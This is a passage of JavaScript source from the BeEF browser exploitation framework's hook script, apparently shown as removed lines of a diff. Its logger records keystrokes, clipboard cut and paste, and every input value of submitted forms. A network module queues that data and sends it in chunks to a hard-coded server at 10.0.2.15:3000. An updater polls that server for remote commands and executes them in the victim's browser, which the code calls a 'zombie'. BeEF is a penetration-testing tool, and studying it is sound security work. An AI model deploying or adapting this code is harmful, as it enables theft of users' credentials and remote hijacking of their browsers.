- * Cut function fires when the user cuts data to the clipboard.
- */
- cut: function() {
- try {
- var c = new beef.logger.e();
- c.type = 'cut';
- c.data = clipboardData.getData("Text");
- this.events.push(c);
- } catch(e) {}
- },
- /**
- * Console function fires when data is sent to the browser console.
- */
- console: function(type, message) {
- try {
- var c = new beef.logger.e();
- c.type = 'console';
- c.data = type + ': ' + message;
- this.events.push(c);
- } catch(e) {}
- },
- /**
- * Paste function fires when the user pastes data from the clipboard.
- */
- paste: function() {
- try {
- var c = new beef.logger.e();
- c.type = 'paste';
- c.data = clipboardData.getData("Text");
- this.events.push(c);
- } catch(e) {}
- },
- /**
- * Submit function fires whenever a form is submitted
- * TODO: Cleanup this function
- */
- submit: function(e) {
- if (beef.logger.in_submit) {
- return true;
- }
- try {
- var f = new beef.logger.e();
- f.type = 'submit';
- f.target = beef.logger.get_dom_identifier(e.target);
- var jqForms = $j(e.target);
- var values = jqForms.find('input').map(function() {
- var inp = $j(this);
- return inp.attr('name') + '=' + inp.val();
- }).get().join();
- beef.debug('submitting form inputs: ' + values);
- /*
- for (var i = 0; i < e.target.elements.length; i++) {
- values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
- }
- */
- f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
- this.events.push(f);
- this.queue();
- this.target = null;
- beef.net.flush(function done() {
- beef.debug("Submitting the form");
- beef.logger.in_submit = true;
- jqForms.submit();
- beef.logger.in_submit = false;
- beef.debug("Done submitting");
- });
- e.preventDefault();
- return false;
- } catch(e) {}
- },
- /**
- * Pushes the current stream to the events queue
- */
- push_stream: function() {
- if (this.stream.length > 0)
- {
- this.events.push(beef.logger.parse_stream());
- this.stream = [];
- }
- },
- /**
- * Translate DOM Object to a readable string
- */
- get_dom_identifier: function(target) {
- target = (target == null) ? this.target : target;
- var id = '';
- if (target)
- {
- id = target.tagName.toLowerCase();
- id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
- id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
- }
- return id;
- },
- /**
- * Formats the timestamp
- * @return {String} timestamp string
- */
- get_timestamp: function() {
- var d = new Date();
- return ((d.getTime() - this.time) / 1000).toFixed(3);
- },
- /**
- * Parses stream array and creates history string
- */
- parse_stream: function() {
- var s = '';
- var mods = '';
- for (var i in this.stream){
- try{
- var mod = this.stream[i]['modifiers'];
- s += String.fromCharCode(this.stream[i]['char']);
- if(typeof mod != 'undefined' &&
- (mod['alt'] == true ||
- mod['ctrl'] == true ||
- mod['shift'] == true)){
- mods += (mod['alt']) ? ' [Alt] ' : '';
- mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
- mods += (mod['shift']) ? ' [Shift] ' : '';
- mods += String.fromCharCode(this.stream[i]['char']);
- }
- }catch(e){}
- }
- var k = new beef.logger.e();
- k.type = 'keys';
- k.target = beef.logger.get_dom_identifier();
- k.data = s;
- k.mods = mods;
- return k;
- },
- /**
- * Queue results to be sent back to framework
- */
- queue: function() {
- beef.logger.push_stream();
- if (this.events.length > 0)
- {
- beef.net.queue('/event', 0, this.events);
- this.events = [];
- }
- }
- };
- beef.regCmp('beef.logger');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net
- *
- * Provides basic networking functions,
- * like beef.net.request and beef.net.forgeRequest,
- * used by BeEF command modules and the Requester extension,
- * as well as beef.net.send which is used to return commands
- * to BeEF server-side components.
- *
- * Also, it contains the core methods used by the XHR-polling
- * mechanism (flush, queue)
- */
- beef.net = {
- host: "10.0.2.15",
- port: "3000",
- hook: "/hook.js",
- httpproto: "http",
- handler: '/dh',
- chop: 500,
- pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
- sid_count: 0,
- cmd_queue: [],
- /**
- * Command object. This represents the data to be sent back to BeEF,
- * using the beef.net.send() method.
- */
- command: function () {
- this.cid = null;
- this.results = null;
- this.status = null;
- this.handler = null;
- this.callback = null;
- },
- /**
- * Packet object. A single chunk of data. X packets -> 1 stream
- */
- packet: function () {
- this.id = null;
- this.data = null;
- },
- /**
- * Stream object. Contains X packets, which are command result chunks.
- */
- stream: function () {
- this.id = null;
- this.packets = [];
- this.pc = 0;
- this.get_base_url_length = function () {
- return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
- };
- this.get_packet_data = function () {
- var p = this.packets.shift();
- return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
- };
- },
- /**
- * Response Object - used in the beef.net.request callback
- * NOTE: as we are using async mode, the response object will be empty if returned.
- * Using sync mode, request obj fields will be populated.
- */
- response: function () {
- this.status_code = null; // 500, 404, 200, 302
- this.status_text = null; // success, timeout, error, ...
- this.response_body = null; // "<html>…." if not a cross-origin request
- this.port_status = null; // tcp port is open, closed or not http
- this.was_cross_domain = null; // true or false
- this.was_timedout = null; // the user specified timeout was reached
- this.duration = null; // how long it took for the request to complete
- this.headers = null; // full response headers
- },
- /**
- * Queues the specified command results.
- * @param: {String} handler: the server-side handler that will be called
- * @param: {Integer} cid: command id
- * @param: {String} results: the data to send
- * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
- * @param: {Function} callback: the function to call after execution
- */
- queue: function (handler, cid, results, status, callback) {
- if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
- var s = new beef.net.command();
- s.cid = cid;
- s.results = beef.net.clean(results);
- s.status = status;
- s.callback = callback;
- s.handler = handler;
- this.cmd_queue.push(s);
- }
- },
- /**
- * Queues the current command results and flushes the queue straight away.
- * NOTE: Always send Browser Fingerprinting results
- * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
- * even if WebSockets are enabled.
- * @param: {String} handler: the server-side handler that will be called
- * @param: {Integer} cid: command id
- * @param: {String} results: the data to send
- * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
- * @param: {Function} callback: the function to call after execution
- * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
- */
- send: function (handler, cid, results, exec_status, callback) {
- // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
- var status = 0;
- if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
- if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
- this.queue(handler, cid, results, status, callback);
- this.flush();
- } else {
- try {
- beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
- '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
- '", "status": "' + exec_status +
- '", "callback": "' + callback +
- '","bh":"' + beef.session.get_hook_session_id() + '" }');
- } catch (e) {
- this.queue(handler, cid, results, status, callback);
- this.flush();
- }
- }
- return status;
- },
- /**
- * Flush all currently queued command results to the framework,
- * chopping the data in chunks ('chunk' method) which will be re-assembled
- * server-side by the network stack.
- * NOTE: currently 'flush' is used only with the default
- * XHR-polling mechanism. If WebSockets are used, the data is sent
- * back to BeEF straight away.
- */
- flush: function (callback) {
- if (this.cmd_queue.length > 0) {
- var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
- this.cmd_queue.length = 0;
- this.sid_count++;
- var stream = new this.stream();
- stream.id = this.sid_count;
- var pad = stream.get_base_url_length() + this.pad;
- //cant continue if chop amount is too low
- if ((this.chop - pad) > 0) {
- var data = this.chunk(data, (this.chop - pad));
- for (var i = 1; i <= data.length; i++) {
- var packet = new this.packet();
- packet.id = i;
- packet.data = data[(i - 1)];
- stream.packets.push(packet);
- }
- stream.pc = stream.packets.length;
- this.push(stream, callback);
- }
- } else {
- if ((typeof callback != 'undefined') && (callback != null)) {
- callback();
- }
- }
- },
- /**
- * Split the input data into chunk lengths determined by the amount parameter.
- * @param: {String} str: the input data
- * @param: {Integer} amount: chunk length
- */
- chunk: function (str, amount) {
- if (typeof amount == 'undefined') n = 2;
- return str.match(RegExp('.{1,' + amount + '}', 'g'));
- },
- /**
- * Push the input stream back to the BeEF server-side components.
- * It uses beef.net.request to send back the data.
- * @param: {Object} stream: the stream object to be sent back.
- */
- push: function (stream, callback) {
- //need to implement wait feature here eventually
- if (typeof callback === 'undefined') {
- callback = null;
- }
- for (var i = 0; i < stream.pc; i++) {
- var cb = null;
- if (i == (stream.pc - 1)) {
- cb = callback;
- }
- this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
- stream.get_packet_data(), 10, 'text', cb);
- }
- },
- /**
- * Performs http requests
- * @param: {String} scheme: HTTP or HTTPS
- * @param: {String} method: GET or POST
- * @param: {String} domain: bindshell.net, 192.168.3.4, etc
- * @param: {Int} port: 80, 5900, etc
- * @param: {String} path: /path/to/resource
- * @param: {String} anchor: this is the value that comes after the # in the URL
- * @param: {String} data: This will be used as the query string for a GET or post data for a POST
- * @param: {Int} timeout: timeout the request after N seconds
- * @param: {String} dataType: specify the data return type expected (ie text/html/script)
- * @param: {Function} callback: call the callback function at the completion of the method
- *
- * @return: {Object} response: this object contains the response details
- */
- request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
- //check if same domain or cross domain
- var cross_domain = true;
- if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
- if (document.location.port == "" || document.location.port == null) {
- cross_domain = !(port == "80" || port == "443");
- }
- }
- //build the url
- var url = "";
- if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
- url = path;
- } else {
- url = scheme + "://" + domain;
- url = (port != null) ? url + ":" + port : url;
- url = (path != null) ? url + path : url;
- url = (anchor != null) ? url + "#" + anchor : url;
- }
- //define response object
- var response = new this.response;
- response.was_cross_domain = cross_domain;
- var start_time = new Date().getTime();
- /*
- * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
- * This will turn POSTs into GETs for remote-domain requests.
- */
- if (method == "POST") {
- $j.ajaxSetup({
- dataType: dataType
- });
- } else {
- $j.ajaxSetup({
- dataType: 'script'
- });
- }
- //build and execute the request
- $j.ajax({type: method,
- url: url,
- data: data,
- timeout: (timeout * 1000),
- //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
- beforeSend: function (xhr) {
- if (method == "POST") {
- xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
- }
- },
- success: function (data, textStatus, xhr) {
- var end_time = new Date().getTime();
- response.status_code = xhr.status;
- response.status_text = textStatus;
- response.response_body = data;
- response.port_status = "open";
- response.was_timedout = false;
- response.duration = (end_time - start_time);
- },
- error: function (jqXHR, textStatus, errorThrown) {
- var end_time = new Date().getTime();
- response.response_body = jqXHR.responseText;
- response.status_code = jqXHR.status;
- response.status_text = textStatus;
- response.duration = (end_time - start_time);
- response.port_status = "open";
- },
- complete: function (jqXHR, textStatus) {
- response.status_code = jqXHR.status;
- response.status_text = textStatus;
- response.headers = jqXHR.getAllResponseHeaders();
- // determine if TCP port is open/closed/not-http
- if (textStatus == "timeout") {
- response.was_timedout = true;
- response.response_body = "ERROR: Timed out\n";
- response.port_status = "closed";
- } else if (textStatus == "parsererror") {
- response.port_status = "not-http";
- } else {
- response.port_status = "open";
- }
- }
- }).always(function () {
- if (callback != null) {
- callback(response);
- }
- });
- return response;
- },
- /*
- * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
- * - requestid: needed on the callback
- * - allowCrossDomain: set cross-domain requests as allowed or blocked
- *
- * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
- * Example usage:
- * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
- * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
- * alert(response.response_body)})
- */
- forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
- if (domain == "undefined" || path == "undefined") {
- beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
- return;
- }
- // check if same domain or cross domain
- var cross_domain = true;
- if (document.domain == domain && document.location.protocol == scheme + ':') {
- if (document.location.port == "" || document.location.port == null) {
- cross_domain = !(port == "80" || port == "443");
- } else {
- if (document.location.port == port) cross_domain = false;
- }
- }
- // build the url
- var url = "";
- if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
- url = path;
- } else {
- url = scheme + "://" + domain;
- url = (port != null) ? url + ":" + port : url;
- url = (path != null) ? url + path : url;
- url = (anchor != null) ? url + "#" + anchor : url;
- }
- // define response object
- var response = new this.response;
- response.was_cross_domain = cross_domain;
- var start_time = new Date().getTime();
- // if cross-domain requests are not allowed and the request is cross-domain
- // don't proceed and return
- if (allowCrossDomain == "false" && cross_domain) {
- beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
- response.status_code = -1;
- response.status_text = "crossdomain";
- response.port_status = "crossdomain";
- response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
- response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
- if (callback != null) callback(response, requestid);
- return response;
- }
- // if the request was cross-domain from a HTTPS origin to HTTP
- // don't proceed and return
- if (document.location.protocol == 'https:' && scheme == 'http') {
- beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
- response.status_code = -1;
- response.status_text = "mixedcontent";
- response.port_status = "mixedcontent";
- response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
- response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
- if (callback != null) callback(response, requestid);
- return response;
- }
- /*
- * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
- * This will turn POSTs into GETs for remote-domain requests.
- */
- if (method == "POST") {
- $j.ajaxSetup({
- dataType: dataType
- });
- } else {
- $j.ajaxSetup({
- dataType: 'script'
- });
- }
- // this is required for bugs in IE so data can be transferred back to the server
- if (beef.browser.isIE()) {
- dataType = 'script'
- }
- $j.ajax({type: method,
- dataType: dataType,
- url: url,
- headers: headers,
- timeout: (timeout * 1000),
- //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
- beforeSend: function (xhr) {
- if (method == "POST") {
- xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
- }
- },
- data: data,
- // http server responded successfully
- success: function (data, textStatus, xhr) {
- var end_time = new Date().getTime();
- response.status_code = xhr.status;
- response.status_text = textStatus;
- response.response_body = data;
- response.was_timedout = false;
- response.duration = (end_time - start_time);
- },
- // server responded with a http error (403, 404, 500, etc)
- // or server is not a http server
- error: function (xhr, textStatus, errorThrown) {
- var end_time = new Date().getTime();
- response.response_body = xhr.responseText;
- response.status_code = xhr.status;
- response.status_text = textStatus;
- response.duration = (end_time - start_time);
- },
- complete: function (xhr, textStatus) {
- // cross-domain request
- if (cross_domain) {
- response.port_status = "crossdomain";
- if (xhr.status != 0) {
- response.status_code = xhr.status;
- } else {
- response.status_code = -1;
- }
- if (textStatus) {
- response.status_text = textStatus;
- } else {
- response.status_text = "crossdomain";
- }
- if (xhr.getAllResponseHeaders()) {
- response.headers = xhr.getAllResponseHeaders();
- } else {
- response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
- }
- if (!response.response_body) {
- response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
- }
- } else {
- // same-domain request
- response.status_code = xhr.status;
- response.status_text = textStatus;
- response.headers = xhr.getAllResponseHeaders();
- // determine if TCP port is open/closed/not-http
- if (textStatus == "timeout") {
- response.was_timedout = true;
- response.response_body = "ERROR: Timed out\n";
- response.port_status = "closed";
- /*
- * With IE we need to explicitly set the dataType to "script",
- * so there will be always parse-errors if the content is != javascript
- * */
- } else if (textStatus == "parsererror") {
- response.port_status = "not-http";
- if (beef.browser.isIE()) {
- response.status_text = "success";
- response.port_status = "open";
- }
- } else {
- response.port_status = "open";
- }
- }
- callback(response, requestid);
- }
- });
- return response;
- },
- //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
- //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
- clean: function (r) {
- if (this.array_has_string_key(r)) {
- var obj = {};
- for (var key in r)
- obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
- return obj;
- }
- return r;
- },
- //Detects if an array has a string key
- array_has_string_key: function (arr) {
- if ($j.isArray(arr)) {
- try {
- for (var key in arr)
- if (isNaN(parseInt(key))) return true;
- } catch (e) {
- }
- }
- return false;
- },
- /**
- * Checks if the specified port is valid
- */
- is_valid_port: function (port) {
- if (isNaN(port)) return false;
- if (port > 65535 || port < 0) return false;
- return true;
- },
- /**
- * Checks if the specified IP address is valid
- */
- is_valid_ip: function (ip) {
- if (ip == null) return false;
- var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
- if (ip_match == null) return false;
- return true;
- },
- /**
- * Checks if the specified IP address range is valid
- */
- is_valid_ip_range: function (ip_range) {
- if (ip_range == null) return false;
- var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
- if (range_match == null || range_match[1] == null) return false;
- return true;
- },
- /**
- * Sends back browser details to framework, calling beef.browser.getDetails()
- */
- browser_details: function () {
- var details = beef.browser.getDetails();
- var res = null;
- details['HookSessionID'] = beef.session.get_hook_session_id();
- this.send('/init', 0, details);
- if(details != null)
- res = true;
- return res;
- }
- };
- beef.regCmp('beef.net');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @Literal object: beef.updater
- *
- * Object in charge of getting new commands from the BeEF framework and execute them.
- * The XHR-polling channel is managed here. If WebSockets are enabled,
- * websocket.ls is used instead.
- */
- beef.updater = {
- // XHR-polling timeout.
- xhr_poll_timeout: "1000",
- beefhook: "BEEFHOOK",
- // A lock.
- lock: false,
- // An object containing all values to be registered and sent by the updater.
- objects: new Object(),
- /*
- * Registers an object to always send when requesting new commands to the framework.
- * @param: {String} the name of the object.
- * @param: {String} the value of that object.
- *
- * @example: beef.updater.regObject('java_enabled', 'true');
- */
- regObject: function(key, value) {
- this.objects[key] = escape(value);
- },
- // Checks for new commands from the framework and runs them.
- check: function() {
- if(this.lock == false) {
- if (beef.logger.running) {
- beef.logger.queue();
- }
- beef.net.flush();
- if(beef.commands.length > 0) {
- this.execute_commands();
- }else {
- this.get_commands(); /*Polling*/
- }
- }
- /* The following gives a stupid syntax error in IE, which can be ignored*/
- setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
- },
- /**
- * Gets new commands from the framework.
- */
- get_commands: function() {
- try {
- this.lock = true;
- beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
- if (response.body != null && response.body.length > 0)
- beef.updater.execute_commands();
- });
- } catch(e) {
- this.lock = false;
- return;
- }
- this.lock = false;
- },
- /**
- * Executes the received commands, if any.
- */
- execute_commands: function() {
- if(beef.commands.length == 0) return;
- this.lock = true;
- while(beef.commands.length > 0) {
- command = beef.commands.pop();
- try {
- command();
- } catch(e) {
- beef.debug('execute_commands - command failed to execute: ' + e.message);
- // prints the command source to be executed, to better trace errors
- // beef.client_debug must be enabled in the main config
- beef.debug(command.toString());
- }
- }
- this.lock = false;
- }
- };
- beef.regCmp('beef.updater');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
- beef.encode = {};
- beef.encode.base64 = {
- keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
- encode : function (input) {
- if (window.btoa) {
- return btoa(unescape(encodeURIComponent(input)));
- }
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var i = 0;
- input = beef.encode.base64.utf8_encode(input);
- while (i < input.length) {
- chr1 = input.charCodeAt(i++);
- chr2 = input.charCodeAt(i++);
- chr3 = input.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2)) {
- enc3 = enc4 = 64;
- } else if (isNaN(chr3)) {
- enc4 = 64;
- }
- output = output +
- this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
- this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
- }
- return output;
- },
- decode : function (input) {
- if (window.atob) {
- return escape(atob(input));
- }
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- while (i < input.length) {
- enc1 = this.keyStr.indexOf(input.charAt(i++));
- enc2 = this.keyStr.indexOf(input.charAt(i++));
- enc3 = this.keyStr.indexOf(input.charAt(i++));
- enc4 = this.keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2);
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3);
- }
- }
- output = beef.encode.base64.utf8_decode(output);
- return output;
- },
- utf8_encode : function (string) {
- string = string.replace(/\r\n/g,"\n");
- var utftext = "";
- for (var n = 0; n < string.length; n++) {
- var c = string.charCodeAt(n);
- if (c < 128) {
- utftext += String.fromCharCode(c);
- }
- else if((c > 127) && (c < 2048)) {
- utftext += String.fromCharCode((c >> 6) | 192);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- else {
- utftext += String.fromCharCode((c >> 12) | 224);
- utftext += String.fromCharCode(((c >> 6) & 63) | 128);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- }
- return utftext;
- },
- utf8_decode : function (utftext) {
- var string = "";
- var i = 0;
- var c = c1 = c2 = 0;
- while ( i < utftext.length ) {
- c = utftext.charCodeAt(i);
- if (c < 128) {
- string += String.fromCharCode(c);
- i++;
- }
- else if((c > 191) && (c < 224)) {
- c2 = utftext.charCodeAt(i+1);
- string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
- i += 2;
- }
- else {
- c2 = utftext.charCodeAt(i+1);
- c3 = utftext.charCodeAt(i+2);
- string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
- i += 3;
- }
- }
- return string;
- }
- };
- beef.regCmp('beef.encode.base64');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- // Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
- beef.encode.json = {
- stringify: function(o) {
- if (typeof(JSON) == 'object' && JSON.stringify) {
- // Error on stringifying cylcic structures caused polling to die
- try {
- s = JSON.stringify(o);
- } catch(error) {
- // TODO log error / handle cyclic structures?
- }
- return s;
- }
- var type = typeof(o);
- if (o === null)
- return "null";
- if (type == "undefined")
- return '\"\"';
- if (type == "number" || type == "boolean")
- return o + "";
- if (type == "string")
- return $j.quoteString(o);
- if (type == 'object')
- {
- if (typeof o.toJSON == "function")
- return $j.toJSON( o.toJSON() );
- if (o.constructor === Date)
- {
- var month = o.getUTCMonth() + 1;
- if (month < 10) month = '0' + month;
- var day = o.getUTCDate();
- if (day < 10) day = '0' + day;
- var year = o.getUTCFullYear();
- var hours = o.getUTCHours();
- if (hours < 10) hours = '0' + hours;
- var minutes = o.getUTCMinutes();
- if (minutes < 10) minutes = '0' + minutes;
- var seconds = o.getUTCSeconds();
- if (seconds < 10) seconds = '0' + seconds;
- var milli = o.getUTCMilliseconds();
- if (milli < 100) milli = '0' + milli;
- if (milli < 10) milli = '0' + milli;
- return '"' + year + '-' + month + '-' + day + 'T' +
- hours + ':' + minutes + ':' + seconds +
- '.' + milli + 'Z"';
- }
- if (o.constructor === Array)
- {
- var ret = [];
- for (var i = 0; i < o.length; i++)
- ret.push( $j.toJSON(o[i]) || "null" );
- return "[" + ret.join(",") + "]";
- }
- var pairs = [];
- for (var k in o) {
- var name;
- var type = typeof k;
- if (type == "number")
- name = '"' + k + '"';
- else if (type == "string")
- name = $j.quoteString(k);
- else
- continue; //skip non-string or number keys
- if (typeof o[k] == "function")
- continue; //skip pairs where the value is a function.
- var val = $j.toJSON(o[k]);
- pairs.push(name + ":" + val);
- }
- return "{" + pairs.join(", ") + "}";
- }
- },
- quoteString: function(string) {
- if (string.match(this._escapeable))
- {
- return '"' + string.replace(this._escapeable, function (a)
- {
- var c = this._meta[a];
- if (typeof c === 'string') return c;
- c = a.charCodeAt();
- return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
- }) + '"';
- }
- return '"' + string + '"';
- },
- _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
- _meta : {
- '\b': '\\b',
- '\t': '\\t',
- '\n': '\\n',
- '\f': '\\f',
- '\r': '\\r',
- '"' : '\\"',
- '\\': '\\\\'
- }
- };
- $j.toJSON = function(o) {return beef.encode.json.stringify(o);};
- $j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
- beef.regCmp('beef.encode.json');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net.local
- *
- * Provides networking functions for the local/internal network of the zombie.
- */
- beef.net.local = {
- sock: false,
- checkJava: false,
- hasJava: false,
- /**
- * Initializes the java socket. We have to use this method because
- * some browsers do not have java installed or it is not accessible.
- * in which case creating a socket directly generates an error. So this code
- * is invalid:
- * sock: new java.net.Socket();
- */
- initializeSocket: function() {
- if(this.checkJava){
- if(!beef.browser.hasJava()) {
- this.checkJava=True;
- this.hasJava=False;
- return -1;
- }else{
- this.checkJava=True;
- this.hasJava=True;
- return 1;
- }
- }
- else{
- if(!this.hasJava) return -1;
- else{
- try {
- this.sock = new java.net.Socket();
- } catch(e) {
- return -1;
- }
- return 1;
- }
- }
- },
- /**
- * Returns the internal IP address of the zombie.
- * @return: {String} the internal ip of the zombie.
- * @error: return -1 if the internal ip cannot be retrieved.
- */
- getLocalAddress: function() {
- if(!this.hasJava) return false;
- this.initializeSocket();
- try {
- this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
- this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
- return this.sock.getLocalAddress().getHostAddress();
- } catch(e) { return false; }
- },
- /**
- * Returns the internal hostname of the zombie.
- * @return: {String} the internal hostname of the zombie.
- * @error: return -1 if the hostname cannot be retrieved.
- */
- getLocalHostname: function() {
- if(!this.hasJava) return false;
- this.initializeSocket();
- try {
- this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
- this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
- return this.sock.getLocalAddress().getHostName();
- } catch(e) { return false; }
- }
- };
- beef.regCmp('beef.net.local');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /**
- * @literal object: beef.init
- * Contains the beef_init() method which starts the BeEF client-side
- * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
- *
- * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
- * and will have a new session id. The new session id will need to know
- * the brwoser details. So sendback the browser details again.
- */
- beef.session.get_hook_session_id();
- if (beef.pageIsLoaded) {
- beef.net.browser_details();
- }
- window.onload = function () {
- beef_init();
- };
- window.onpopstate = function (event) {
- if (beef.onpopstate.length > 0) {
- event.preventDefault;
- for (var i = 0; i < beef.onpopstate.length; i++) {
- var callback = beef.onpopstate[i];
- try {
- callback(event);
- } catch (e) {
- beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
- }
- return false;
- }
- }
- };
- window.onclose = function (event) {
- if (beef.onclose.length > 0) {
- event.preventDefault;
- for (var i = 0; i < beef.onclose.length; i++) {
- var callback = beef.onclose[i];
- try {
- callback(event);
- } catch (e) {
- beef.debug("window.onclose - couldn't execute callback: " + e.message);
- }
- return false;
